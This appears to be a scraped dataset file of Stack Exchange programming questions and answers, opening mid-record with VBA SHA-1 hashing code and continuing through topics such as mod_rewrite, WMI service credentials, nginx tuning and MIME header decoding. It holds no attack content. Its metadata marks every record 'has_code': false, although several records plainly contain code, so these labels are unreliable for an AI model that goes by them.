Long) As String\n Dim H1 As Long, H2 As Long, H3 As Long, H4 As Long, H5 As Long\n xSHA1 Message, Key1, Key2, Key3, Key4, H1, H2, H3, H4, H5\n HexSHA1 = DecToHex5(H1, H2, H3, H4, H5)\nEnd Function\n\nSub DefaultSHA1(Message() As Byte, H1 As Long, H2 As Long, H3 As Long, H4 As Long, H5 As Long)\n xSHA1 Message, &H5A827999, &H6ED9EBA1, &H8F1BBCDC, &HCA62C1D6, H1, H2, H3, H4, H5\nEnd Sub\n\nSub xSHA1(Message() As Byte, ByVal Key1 As Long, ByVal Key2 As Long, ByVal Key3 As Long, ByVal Key4 As Long, H1 As Long, H2 As Long, H3 As Long, H4 As Long, H5 As Long)\n 'CA62C1D68F1BBCDC6ED9EBA15A827999 + \"abc\" = \"A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D\"\n '\"abc\" = \"A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D\"\n\n Dim U As Long, P As Long\n Dim FB As FourBytes, OL As OneLong\n Dim i As Integer\n Dim W(80) As Long\n Dim A As Long, B As Long, C As Long, D As Long, E As Long\n Dim T As Long\n\n H1 = &H67452301: H2 = &HEFCDAB89: H3 = &H98BADCFE: H4 = &H10325476: H5 = &HC3D2E1F0\n\n U = UBound(Message) + 1: OL.L = U32ShiftLeft3(U): A = U \\ &H20000000: LSet FB = OL 'U32ShiftRight29(U)\n\n ReDim Preserve Message(0 To (U + 8 And -64) + 63)\n Message(U) = 128\n\n U = UBound(Message)\n Message(U - 4) = A\n Message(U - 3) = FB.D\n Message(U - 2) = FB.C\n Message(U - 1) = FB.B\n Message(U) = FB.A\n\n While P < U\n     For i = 0 To 15\n         FB.D = Message(P)\n         FB.C = Message(P + 1)\n         FB.B = Message(P + 2)\n         FB.A = Message(P + 3)\n         LSet OL = FB\n         W(i) = OL.L\n         P = P + 4\n     Next i\n\n     For i = 16 To 79\n         W(i) = U32RotateLeft1(W(i - 3) Xor W(i - 8) Xor W(i - 14) Xor W(i - 16))\n     Next i\n\n     A = H1: B = H2: C = H3: D = H4: E = H5\n\n     For i = 0 To 19\n         T = U32Add(U32Add(U32Add(U32Add(U32RotateLeft5(A), E), W(i)), Key1), ((B And C) Or ((Not B) And D)))\n         E = D: D = C: C = U32RotateLeft30(B): B = A: A = T\n     Next i\n     For i = 20 To 39\n         T = U32Add(U32Add(U32Add(U32Add(U32RotateLeft5(A), E), W(i)), Key2), (B Xor C Xor D))\n         E = D: D = C: C = U32RotateLeft30(B): B = A: A = T\n     Next i\n     For i = 40 To 59\n         T = U32Add(U32Add(U32Add(U32Add(U32RotateLeft5(A), E), W(i)), Key3), ((B And C) Or (B And D) Or (C And D)))\n         E = D: D = C: C = U32RotateLeft30(B): B = A: A = T\n     Next i\n     For i = 60 To 79\n         T = U32Add(U32Add(U32Add(U32Add(U32RotateLeft5(A), E), W(i)), Key4), (B Xor C Xor D))\n         E = D: D = C: C = U32RotateLeft30(B): B = A: A = T\n     Next i\n\n     H1 = U32Add(H1, A): H2 = U32Add(H2, B): H3 = U32Add(H3, C): H4 = U32Add(H4, D): H5 = U32Add(H5, E)\n Wend\nEnd Sub\n\nFunction U32Add(ByVal A As Long, ByVal B As Long) As Long\n If (A Xor B) < 0 Then\n     U32Add = A + B\n Else\n     U32Add = (A Xor &H80000000) + B Xor &H80000000\n End If\nEnd Function\n\nFunction U32ShiftLeft3(ByVal A As Long) As Long\n U32ShiftLeft3 = (A And &HFFFFFFF) * 8\n If A And &H10000000 Then U32ShiftLeft3 = U32ShiftLeft3 Or &H80000000\nEnd Function\n\nFunction U32ShiftRight29(ByVal A As Long) As Long\n U32ShiftRight29 = (A And &HE0000000) \\ &H20000000 And 7\nEnd Function\n\nFunction U32RotateLeft1(ByVal A As Long) As Long\n U32RotateLeft1 = (A And &H3FFFFFFF) * 2\n If A And &H40000000 Then U32RotateLeft1 = U32RotateLeft1 Or &H80000000\n If A And &H80000000 Then U32RotateLeft1 = U32RotateLeft1 Or 1\nEnd Function\nFunction U32RotateLeft5(ByVal A As Long) As Long\n U32RotateLeft5 = (A And &H3FFFFFF) * 32 Or (A And &HF8000000) \\ &H8000000 And 31\n If A And &H4000000 Then U32RotateLeft5 = U32RotateLeft5 Or &H80000000\nEnd Function\nFunction U32RotateLeft30(ByVal A As Long) As Long\n U32RotateLeft30 = (A And 1) * &H40000000 Or (A And &HFFFC) \\ 4 And &H3FFFFFFF\n If A And 2 Then U32RotateLeft30 = U32RotateLeft30 Or &H80000000\nEnd Function\n\nFunction DecToHex5(ByVal H1 As Long, ByVal H2 As Long, ByVal H3 As Long, ByVal H4 As Long, ByVal H5 As Long) As String\n Dim H As String, L As Long\n DecToHex5 = \"00000000 00000000 00000000 00000000 00000000\"\n H = Hex(H1): L = Len(H): Mid(DecToHex5, 9 - L, L) = H\n H = Hex(H2): L = Len(H): Mid(DecToHex5, 18 - L, L) = H\n H = Hex(H3): L = Len(H): Mid(DecToHex5, 27 - L, L) = H\n H = Hex(H4): L = Len(H): Mid(DecToHex5, 36 - L, L) = H\n H = Hex(H5): L = Len(H): Mid(DecToHex5, 45 - L, L) = H\nEnd Function\n\n' Convert the string into bytes so we can use the above functions\n' From Chris Hulbert: http://splinter.com.au/blog\n\nPublic Function SHA1HASH(str)\n  Dim i As Integer\n  Dim arr() As Byte\n  ReDim arr(0 To Len(str) - 1) As Byte\n  For i = 0 To Len(str) - 1\n   arr(i) = Asc(Mid(str, i + 1, 1))\n  Next i\n  SHA1HASH = Replace(LCase(HexDefaultSHA1(arr)), \" \", \"\")\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.269536"}
{"id": "hf_33f2653f3daa", "question": "<p>I am working with a Sharepoint document library and I'm trying to locate the source of the document library page. I'm working on the Sharepoint server. I just can't find it, where should it be stored?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "Your question is not very clear...\nAre you refering to the \"source\" code of the document library pages?\nIt depends if you have edited them with SharePoint Designer or not. If not they should be located under 12 hive (c:\\program files\\common files\\microsoft shared\\web server extensions\\12). If any modification were done using SPD2007 the files will be stored in the content database.\n...or are you refering to the \"source\" where the files are stored?\nAll the files saved in document libraries are stored in the content database as blobs in the AllUserData table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.308325"}
{"id": "hf_07cf214cb624", "question": "<p>I am investigating the design of a work queue processor where the QueueProcessor retrieves a Command Pattern object from the Queue and executes it in a new thread.</p>\n\n<p>I am trying to get my head around a potential Queue lockup scenario where nested Commands may result in a deadlock.</p>\n\n<p>E.G.</p>\n\n<p>A FooCommand object is placed onto the queue which the QueueProcessor then executes in its own thread.</p>\n\n<p>The executing FooCommand places a BarCommand onto the queue.</p>\n\n<p>Assuming that the maximum allowed threads was only 1 thread, the QueueProcessor would be in a deadlocked state since the FooCommand is infinitely waiting for the BarCommand to complete.</p>\n\n<p>How can this situation be managed? Is a queue object the right object for the job? Are there any checks and balances that can be put into place to resolve this issue?</p>\n\n<p>Many thanks. ( application uses C# .NET 3.0 )</p>\n", "question_body": "", "answer": "For simple cases like this an additional monitoring thread that can spin off more threads on demand is helpful.\nBasically every N seconds check to see if any jobs have been finished, if not, add another thread.\nThis won't necessarily handle even more complex deadlock problems, but it will solve this one.\nMy recommendation for the heavier problem is to restrict waits to newly spawned process, in other words, you can only wait on something you started, that way you never get deadlocks, since cycles are impossible in that situation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.345777"}
{"id": "hf_3addfe52a79d", "question": "<p>I've been given the task of laying the groundwork of a SOA for my client. The goal is to open up various processes in an end-client independent way and also to make data available offline e.g. for reps visiting customers.</p>\n\n<p>I do have extensive experience with J2EE (Websphere) and web services but I would appreciate advice on how to build up such an SOA. </p>\n\n<p>Where are the pitfalls? What about security? How finely granulated should services be? etc.</p>\n\n<p>Links to tutorials and book recommendations would also be useful.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Pitfalls\nVersioning/backwards compatibility: it gets really hard to change a contract once you have loads of clients. I have seen many sites version the APIs by introducing the version in the URL\nGranularity\nEach service should be reasonly self-contained (don't expect people to do 3 calls before they get what they need)\nPlatform Independence\nTry to give more than one way of accessing your APIs (WS, JSON, REST...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.419704"}
{"id": "hf_76dff07261be", "question": "<p>I have this RewriteRule that works too well :-)</p>\n\n<pre><code>RewriteRule ^([^/]*)/$ /script.html?id=$1 [L]\n</code></pre>\n\n<p>The bad thing about this rule is that it also matches physical directories which I don't want.</p>\n\n<p>How can I tell the <code>mod_rewrite</code> to ignore physical directories and apply the above rule only when the directory matched does not exist?</p>\n", "question_body": "", "answer": "Take a look at\nRewriteCond\n. Put the following before your rule to exempt out directories and files\n```\n```\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.467718"}
{"id": "hf_c0f080385b94", "question": "<p>Having a problem getting a TreeView control to display node images. The code below works sometimes but fails to show any image at other times.</p>\n\n<pre><code>\nprivate TreeNode AddNodeForCore(TreeNode root, Core c) {\n    string key = GetImageKey(c);\n    TreeNode t = root.Nodes.Add(c.Name, c.Name, key, key);\n    t.Tag = c;\n    return t;\n}\n</code></pre>\n\n<p>Note that when it fails, the TreeView fails to show any images for any node. The TreeView does have an ImageList assigned to it, and the image key is definitely in the images collection.</p>\n\n<p>Edit:<br>\nMy google-fu is weak. Can't believe I didn't find that answer myself.</p>\n", "question_body": "", "answer": "A quick google search found this answer:\nhttp://forums.microsoft.com/MSDN/ShowPost.aspx?siteid=1&PostID=965968\nQuote\nfrom that page:\nIf the Form containing the TreeView is instantiated in the add-in startup function as below, the icons appear!\n```\n```\npublic partial class ThisApplication\n{\n    Form1 frm;\n\n    private void ThisApplication_Startup(object sender, System.EventArgs e)\n    {\n        frm  = new Form1();\n        frm.Show();\n\n    }\n```\n```\nBUT, if instantiated with the class, as below:\n```\n```\npublic partial class ThisApplication\n{\n    Form1 frm = new Form1();\n\n    private void ThisApplication_Startup(object sender, System.EventArgs e)\n    {\n                    frm.Show();\n\n    }\n```\n```\nThen they do NOT appear.    Furthermore, if \"VisualStyles\" (new with XP) are disabled, the icons work in both instances.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.492222"}
{"id": "hf_b45607d02e87", "question": "<p>I need to change the credentials of an already existing Windows service using C#. I am aware of two different ways of doing this.</p>\n\n<ol>\n<li>ChangeServiceConfig, see <a href=\"http://www.pinvoke.net/default.aspx/advapi32.ChangeServiceConfig\" rel=\"nofollow noreferrer\">ChangeServiceConfig on pinvoke.net</a></li>\n<li>ManagementObject.InvokeMethod using Change as the method name.</li>\n</ol>\n\n<p>Neither seems a very \"friendly\" way of doing this and I was wondering if I am missing another and better way to do this.</p>\n", "question_body": "", "answer": "Here is one quick and dirty method using the System.Management classes.\n```\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.Management;\n\nnamespace ServiceTest\n{\n  class Program\n  {\n    static void Main(string[] args)\n    {\n      string theServiceName = \"My Windows Service\";\n      string objectPath = string.Format(\"Win32_Service.Name='{0}'\", theServiceName);\n      using (ManagementObject mngService = new ManagementObject(new ManagementPath(objectPath)))\n      {\n        object[] wmiParameters = new object[11];\n        wmiParameters[6] = @\"domain\\username\";\n        wmiParameters[7] = \"password\";\n        mngService.InvokeMethod(\"Change\", wmiParameters);\n      }\n    }\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.517466"}
{"id": "hf_614ec86a95e3", "question": "<p>(Not related to versioning the database schema)</p>\n\n<p>Applications that interfaces with databases often have domain objects that are composed with data from many tables. Suppose the application were to support versioning, in the sense of CVS, for these domain objects.</p>\n\n<p>For some arbitry domain object, how would you design a database schema to handle this requirement? Any experience to share?</p>\n", "question_body": "", "answer": "A technique I've used for this in that past has been to have a concept of \"generations\" in the database, each change increments the current generation number for the database - if you use subversion, think revisions.\nEach record has 2 generation numbers associated with it (2 extra columns on the tables) - the generation that the record starts being valid for, and the generation the it stops being valid for. If the data is currently valid, the second number would be NULL or some other generic marker.\nSo to insert into the database:\nincrement the generation number\ninsert the data\ntag the lifetime of that data with valid from, and a valid to of NULL\nIf you're updating some data:\nmark all data that's about to be modified as valid to the current generation number\nincrement the generation number\ninsert the new data with the current generation number\ndeleting is just a matter of marking the data as terminating at the current generation.\nTo get a particular version of the data, find what generation you're after and look for data valid between those generation versions.\nExample:\nCreate a person.\n```\n```\n|Name|D.O.B  |Telephone|From|To  |\n|Fred|1 april|555-29384|1   |NULL|\n```\n```\nUpdate tel no.\n```\n```\n|Name|D.O.B  |Telephone|From|To  |\n|Fred|1 april|555-29384|1   |1   |\n|Fred|1 april|555-43534|2   |NULL|\n```\n```\nDelete fred:\n```\n```\n|Name|D.O.B  |Telephone|From|To  |\n|Fred|1 april|555-29384|1   |1   |\n|Fred|1 april|555-43534|2   |2   |\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.541491"}
{"id": "hf_d148a7c2642e", "question": "<p>I am new to java so excuse my lame questions:)</p>\n\n<p>I am trying to build a web service in Java  NetBeans 6.1 , but I have some troubles with configuration parameters ( like .settings in .net).</p>\n\n<p>What is the right way to save and access such settings in a java web service.</p>\n\n<p>Is there a way to read context parameters from web.xml in a web method?</p>\n\n<p>If no what are the alternatives for storing your configuration variables like pathnames ?</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "If you are using servlets, you can configure parameters in web.xml:\n```\n```\n<servlet>\n  <servlet-name>jsp</servlet-name>\n  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>\n    <init-param>\n      <param-name>fork</param-name>\n      <param-value>false</param-value>\n     </init-param>\n</servlet>\n```\n```\nThese properties will be passed in a ServletConfig object to your servlet's \"init\" method.\nAnother way is to read your system's environment variables with\n```\n```\nSystem.getProperty(String name);\n```\n```\nBut this is not recommended for other than small programs and tests.\nThere is also the Properties API if you want to use \".properties\" files.\nhttp://java.sun.com/javase/6/docs/api/java/util/Properties.html\nFinally, I believe looking up configurations with JNDI is pretty common when developing modern web service applications, Netbeans and app containers have pretty good support for that. Google it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.565909"}
{"id": "hf_897fe3b29fd7", "question": "<p>I'm trying to implement the WMD editor used on StackOverflow to create some basic Wiki-style functionality.  I'm up to the point where it's time to save to the database, but I'm unsure as to what I should be saving.</p>\n\n<p>If I save the produced HTML then I can retrieve and display it correctly, but on re-edit I'm faced with editing HTML, not Markdown.  However, if I save the Markdown I can't see any way of converting this back to HTML to display, and looking at StackOverflow it sends the browser HTML.</p>\n\n<p>I'm guessing that I don't need to save both, so what simple thing am I missing?</p>\n", "question_body": "", "answer": "I would suggest saving the exact entered text to the database, so editing will work with the original markdown or HTML.\nWhen you retrieve the text for display, you parse it on the server side and convert to HTML where necessary\n[Edit]\nAt comment:\nYou seem to have a way of parsing and converting to HTML already, if I understand your question correctly.  Here you talk about the produced HTML.\nIf I save the produced HTML then I can retrieve and display it correctly, but on re-edit I'm faced with editing HTML, not Markdown", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.625772"}
{"id": "hf_87755c3450bc", "question": "<p>I'm trying to handle Winsock_Connect event (Actually I need it in Excel macro) using the following code:</p>\n\n<pre><code>Dim Winsock1 As Winsock 'Object type definition\n\nSub Init()\n    Set Winsock1 = CreateObject(\"MSWinsock.Winsock\") 'Object initialization\n    Winsock1.RemoteHost = \"MyHost\"\n    Winsock1.RemotePort = \"22\"\n    Winsock1.Connect\n\n    Do While (Winsock1.State &lt;&gt; sckConnected)\n        Sleep 200\n    Loop\nEnd Sub\n\n'Callback handler\nPrivate Sub Winsock1_Connect()\n    MsgBox \"Winsock1::Connect\"\nEnd Sub\n</code></pre>\n\n<p>But it never goes to Winsock1_Connect subroutine although Winsock1.State is \"Connected\".\nI want to use standard MS library because I don't have administrative rights on my PC and I'm not able to register some custom libraries.\nCan anybody tell me, where I'm wrong?</p>\n", "question_body": "", "answer": "Are you stuck using MSWinsock?\nHere\nis a site/tutorial using a custom winsock object.\nAlso... You need to declare Winsock1\nWithEvents\nwithin a \"Class\" module:\n```\n```\nPrivate WithEvents Winsock1 As Winsock\n```\n```\nAnd finally, make sure you reference the winsock ocx control.\nTools -> References -> Browse -> %SYSEM%\\MSWINSCK.OCX", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.650367"}
{"id": "hf_74ba6eeb2db3", "question": "<p>When modelling an architecture in UML component diagrams, how do you show various attributes of connectors simultaneously? Like </p>\n\n<ul>\n<li>business object information flow (A->B, B->A, A&lt;->B)</li>\n<li>request/response direction</li>\n<li>synchronous/asynchronous behaviour</li>\n</ul>\n\n<p>I am aware of other diagram types like sequence diagrams. However, having this information visible in component diagrams would have value. </p>\n\n<p>What is possible beyond associations (merely showing that components are connected) or \"lollipops\" (request/response)?</p>\n", "question_body": "", "answer": "You might want to use\nsequence diagrams\ninstead of class (i.e, component) diagrams.\nIf you want to stick to a static diagram, you may also want to consider adding << sterotypes>> to various connectors, or even use\nassociation classes\n.\nIf possible, you can use connectors from sequence diagrams to connect classifiers in component diagrams (e.g., synchronous/asynchronous message-passing arrows).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.674839"}
{"id": "hf_7a288d006909", "question": "<p>I know this is not directly a programming question, but people on stackoverflow seems to be able to answer any question.</p>\n\n<p>I have a server running Centos 5.2 64 bit.  Pretty powerful dual core 2 server with 4GB memory.  It mostly serves static files, flash and pictures.  When I use lighttpd it easily serves over 80 MB/sec, but when I test with nginx it drops down to less than 20 MB/sec.</p>\n\n<p>My setup is pretty straight forward, uses the default setup file, and I have added the following</p>\n\n<pre><code>user  lighttpd;\nworker_processes  8;\nworker_rlimit_nofile 206011;\n#worker_rlimit_nofile 110240;\n\nerror_log   /var/log/nginx/error.log;\n#error_log  /var/log/nginx/error.log  notice;\n#error_log  /var/log/nginx/error.log  info;\n\npid        /var/run/nginx.pid;\n\n\nevents {\n    worker_connections  4096;\n}\n\nhttp {\n....\n\nkeepalive_timeout  2;\n....\n}\n</code></pre>\n\n<p>And I thought nginx was supposed to be at least as powerful, so I must be not doing something.</p>\n", "question_body": "", "answer": "Perhaps lighttpd is using some kind of caching?  There's a great article\nhere\nthat describes how to set up memcached with nginx for a reported 400% performance boost.\nThe nginx doc on the memcached module is\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.723648"}
{"id": "hf_bef34ac9bfa4", "question": "<p>Specifically I have a PHP command-line script that at a certain point requires input from the user. I would like to be able to execute an external editor (such as vi), and wait for the editor to finish execution before resuming the script.</p>\n\n<p>My basic idea was to use a temporary file to do the editing in, and to retrieve the contents of the file afterwards. Something along the lines of:</p>\n\n<pre><code>$filename = '/tmp/script_' . time() . '.tmp';\n\nget_user_input ($filename);\n\n$input = file_get_contents ($filename);\nunlink ($filename);\n</code></pre>\n\n<p>I suspect that this isn't possible from a PHP command-line script, however I'm hoping that there's some sort of shell scripting trick that can be employed to achieve the same effect.</p>\n\n<p>Suggestions for how this can be achieved in other scripting languages are also more than welcome.</p>\n", "question_body": "", "answer": "```\n```\nsystem('vi');\n```\n```\nhttp://www.php.net/system", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.789625"}
{"id": "hf_c89e20bebc2f", "question": "<p>We have a 3D viewer that uses OpenGL, but our clients sometimes complain about it \"not working\". We suspect that most of these issues stem from them trying to use, what is in effect a modern 3d realtime game, on a businiss laptop computer.</p>\n\n<p><strong>How can we, in the windows msi installer we use, check for support for openGL?</strong></p>\n\n<p>And as a side note, if you can answer \"List of OpenGL supported graphic cards?\", that would also be greate. Strange that google doesnt help here..</p>\n", "question_body": "", "answer": "OpenGL is part of Windows since Windows NT or Win95. It's unlikely that you'll ever find a windows system where OpenGL is not pre-installed (e.g. Windows 3.1)\nHowever, your application may need a more recent version of OpenGL than the default OpenGL 1.1 that comes with very old versions of windows. You can check that from your program. I don't know of any way how to find that from msi.\nNote that the OpenGL gets updated via the graphic drivers, not by installing a service pack or so.\nRegarding OpenGL enabled graphic cards: All have OpenGL. Even if the customer uses a ISA ET4000 graphic card from the stone ages he at least has OpenGL 1.1 via software-rendering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.832157"}
{"id": "hf_20d592c0664a", "question": "<p>I am having my web application deployed on Tomcat5.5 and I use it in integration with eclipse 3.2.Each time I close the eclipse and restart it, I need to republish the application even when it hasn't been modified. </p>\n\n<p>Is there a way to avoid this or any step I am missing ?</p>\n", "question_body": "", "answer": "Do eclipse 3.3 or 3.4, or later versions of WTP behave the same way for you?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.892445"}
{"id": "hf_412af516ab91", "question": "<p>I have an email subject of the form:</p>\n\n<pre><code>=?utf-8?B?T3.....?=\n</code></pre>\n\n<p>The body of the email is utf-8 base64 encoded - and has decoded fine.\nI am current using Perl's Email::MIME module to decode the email.</p>\n\n<p>What is the meaning of the =?utf-8 delimiter and how do I extract information from this string?</p>\n", "question_body": "", "answer": "The\n```\nencoded-word\n```\ntokens (as per\nRFC 2047\n) can occur in values of some headers. They are parsed as follows:\n```\n```\n=?<charset>?<encoding>?<data>?=\n```\n```\nCharset is UTF-8 in this case, the encoding is\n```\nB\n```\nwhich means base64 (the other option is\n```\nQ\n```\nwhich means Quoted Printable).\nTo read it, first decode the base64, then treat it as UTF-8 characters.\nAlso read the various Internet Mail RFCs for more detail, mainly\nRFC 2047\n.\nSince you are using Perl,\nEncode::MIME::Header\ncould be of use:\nSYNOPSIS\n```\n```\nuse Encode qw/encode decode/;\n$utf8   = decode('MIME-Header', $header);\n$header = encode('MIME-Header', $utf8);\n```\n```\nABSTRACT\nThis module implements RFC 2047 Mime\n  Header Encoding. There are 3 variant\n  encoding names; MIME-Header, MIME-B\n  and MIME-Q. The difference is\n  described below\n```\n```\ndecode()          encode()  \nMIME-Header   Both B and Q      =?UTF-8?B?....?=  \nMIME-B        B only; Q croaks  =?UTF-8?B?....?=  \nMIME-Q        Q only; B croaks  =?UTF-8?Q?....?=\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.929482"}
{"id": "hf_91a741d5d412", "question": "<p>What's the fastest way to count the number of keys/properties of an object? Is it possible to do this without iterating over the object?  I.e., without doing:</p>\n<pre><code>var count = 0;\nfor (k in myobj) if (myobj.hasOwnProperty(k)) ++count;\n</code></pre>\n<p>(Firefox did provide a magic <code>__count__</code> property, but this was removed somewhere around version 4.)</p>\n", "question_body": "", "answer": "If you are actually running into a performance problem I would suggest wrapping the calls that add/remove properties to/from the object with a function that also increments/decrements an appropriately named (size?) property.\nYou only need to calculate the initial number of properties once and move on from there. If there isn't an actual performance problem, don't bother. Just wrap that bit of code in a function\n```\ngetNumberOfProperties(object)\n```\nand be done with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.981646"}
{"id": "hf_c7550741c1f7", "question": "<p><strong>Problem</strong>. I need a way to find Starteam server time through Starteam Java SDK 8.0. Version of server is 8.0.172 so method <code>Server.getCurrentTime()</code> is not available since it was added only in server version 9.0.</p>\n\n<p><strong>Motivation</strong>. My application needs to use views at specific dates. So if there's some difference in system time between client (where the app is running) and server then obtained views are not accurate. In the worst case the client's requested date is in the future for server so the operation results in exception.</p>\n", "question_body": "", "answer": "```\n<stab_in_the_dark>\n```\nI'm not familiar with that SDK but from looking at the API if the server is in a known timezone why not create and an OLEDate object whose date is going to be the client's time rolled appropriately according to the server's timezone?\n```\n</stab_in_the_dark>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.028230"}
{"id": "hf_50370f0d6368", "question": "<p>Is there any python module for rendering a HTML page with javascript and get back a DOM object?</p>\n\n<p>I want to parse a page which generates almost all of its content using javascript. </p>\n", "question_body": "", "answer": "The big complication here is emulating the full browser environment outside of a browser. You can use stand alone javascript interpreters like Rhino and SpiderMonkey to run javascript code but they don't provide a complete browser like environment to full render a web page.\nIf I needed to solve a problem like this I would first look at how the javascript is rendering the page, it's quite possible it's fetching data via AJAX and using that to render the page. I could then use python libraries like simplejson and httplib2 to directly fetch the data and use that, negating the need to access the DOM object. However, that's only one possible situation, I don't know the exact problem you are solving.\nOther options include the selenium one mentioned by Łukasz, some kind of webkit embedded craziness, some kind of IE win32 scripting craziness or, finally, a pyxpcom based solution (with added craziness). All these have the drawback of requiring pretty much a fully running web browser for python to play with, which might not be an option depending on your environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.075945"}
{"id": "hf_3398f3ac4fab", "question": "<p>I need to determine which version of GTK+ is installed on Ubuntu</p>\n\n<p>Man does not seem to help</p>\n", "question_body": "", "answer": "You can use this command:\n```\n```\n$ dpkg -s libgtk2.0-0|grep '^Version'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:07.122799"}
